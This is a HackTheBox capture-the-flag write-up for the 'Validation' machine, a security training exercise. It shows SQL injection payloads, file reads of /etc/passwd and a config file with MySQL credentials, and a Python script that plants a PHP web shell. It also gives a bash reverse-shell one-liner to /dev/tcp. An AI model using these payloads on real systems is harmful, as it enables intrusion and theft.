Validation

Pasted image 20240318230019.png

Tags: #easy #SQLi #informationleakage #rce #linux #LFI #RFI
Platform: HackTheBox
Difficult: Easy
Creator: ippsec


Foothold


Nmap

To begin, we performed a port scan on the target machine using Nmap to identify the available services.

$ nmap -Pn -sS --min-rate 5000 -n -p- --open 10.10.11.116 -oG allPorts

Pasted image 20240318230446.png

Then, we run a more detailed scan to identify the services on the open ports.

$ nmap -Pn -sCV -p22,80,4566,8080 -n 10.10.11.116 -oN portScan

Pasted image 20240318230650.png

Port 80 Recon

Pasted image 20240318230906.png

When accessing port 80, we discovered a registration system for a tournament.

To better understand its operation, we performed a registration test and intercepted it with BurpSuite.

  1. Pasted image 20240318231219.png

  2. Pasted image 20240318231306.png

  3. Pasted image 20240318231750.png

The operations flow is as follows:

  1. A POST request's made to http://10.10.11.116/ including the username and a country.
  2. The server redirects the request to the next endpoint, /account.php, and sets a new cookie called user, containing a constant MD5 hash for all users.
  3. Upon loading, the endpoint shows us a list of registered users in the same country as ours.

Considering the internal functioning of this page, it's presumed that when registering, the data's saved in a database. When accessing the account.php endpoint, the web server uses our user cookie to determine our identity, probably performing an SQL query similar to this:

SELECT username FROM users WHERE country = 'Argentina';

In this scenario, it's possible to attempt a basic SQL injection to obtain all users from all countries. To test the injection, I added a user named chemaalonso from Spain, in addition to the test and zaikoarg users from Argentina.

SQL Injection

Request:
Pasted image 20240318232721.png
Response:

Pasted image 20240318232820.png
The response confirms the injection success and displays a list of all users.

To understand how the injection works, we analyze the modified SQL query that the server executes on the backend:

SELECT user FROM users WHERE country = 'noexistant-country' OR 1=1-- -';

Let's break down each part of the injected query:

  • 'noexistant-country': This is simply a false value that won't match any country in the database. It's just a placeholder to start the injection.
  • OR 1=1: This is the crucial part of the injection. The OR 1=1 clause is always true, meaning this condition will be met for all rows in the users table.
  • -- -: This is a comment in SQL that causes the rest of the original query to be ignored. The -- indicates that everything following on that line is a comment and not executed as SQL code.

So, putting it all together, the modified query looks for users where the country is false (non-existent) or where 1=1 is always true, returning all users from the users table.

SQLi to LFI

We explored the database but didn't find any relevant information. However, we leveraged MySQL's capability to read files from the system, using the LOAD_FILE() function.

Request:
Pasted image 20240318234507.png
Response:
Pasted image 20240318234544.png

The execution is successful, and upon examining the /etc/passwd file, we noticed that only the root user has a bash shell, suggesting that we might be in a container.

Getting MySQL Credentials

We continued exploring the system files and found the file /var/www/html/config.php.
Pasted image 20240318234947.png

It contains the MySQL credentials uhc:uhc-9qual-global-pw.

User


SQLi to RCE (via RFI)

Noticing that the LOAD_FILE() function was available, I got the idea to check if it was possible to write files through SQL injection using INTO OUTFILE.

As an initial test, I tried creating a file in the /tmp/ folder and then reading it using LOAD_FILE().

  1. Pasted image 20240318235534.png
  2. Pasted image 20240318235629.png
  3. Pasted image 20240318235646.png

Now that we've successfully written files, we can attempt to execute commands using a basic PHP shell. In this case, I created a small Python script to simplify the whole process:

import sys
import requests
import signal
from urllib.parse import quote

# Change the URL here
url = "http://10.10.11.116"


def handler(signal, frame) -> None:
    print("\t\n[+] Exiting...")
    sys.exit(1)


def validate_url(url: str) -> bool:
    try:
        response = requests.get(url)
        return response.status_code == 200
    except requests.RequestException:
        return False


def create_shell(url: str) -> str:
    data = {
        "username": "testttt",
        "country": """pwned' UNION SELECT '<?php echo \\'<pre>\\' . shell_exec($_GET["cmd"]) . \\'</pre>\\' ?>' INTO OUTFILE '/var/www/html/shell.php'-- -"""
    }
    response = requests.post(url, data=data, allow_redirects=False)
    session_cookie = response.headers.get("Set-Cookie", "").split("=")[1]

    requests.get(url + '/account.php', cookies={"user": session_cookie})
    return session_cookie


def execute(url: str, cookie: str, cmd: str) -> None:
    shell_url = url + '/shell.php?cmd=' + quote(cmd)
    response = requests.get(shell_url, cookies={"user": cookie})
    
    try:
        output = response.text.split("<pre>")[1].split("</pre>")[0]
        print(output)
    except IndexError:
        print("[X] Error: Unable to execute command")


def main() -> None:
    # CTRL-C Handling
    signal.signal(signal.SIGINT, handler)

    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py {CMD}")
        sys.exit(1)

    cmd = sys.argv[1]

    if not validate_url(url):
        print("[X] Error: Invalid URL or unable to connect")
        sys.exit(1)

    session_cookie = create_shell(url)
    execute(url, session_cookie, cmd)


if __name__ == '__main__':
    main()

$ python3 exploit.py whoami

Pasted image 20240319000008.png

Now that we can execute commands remotely, let's get an interactive shell.

$ python3 exploit.py "bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'"

Pasted image 20240319000245.png

Privilege Escalation


If you recall, we had found some credentials in the web server configuration files.

We can try to use that password to authenticate ourselves as root.
Pasted image 20240319000529.png

We got it!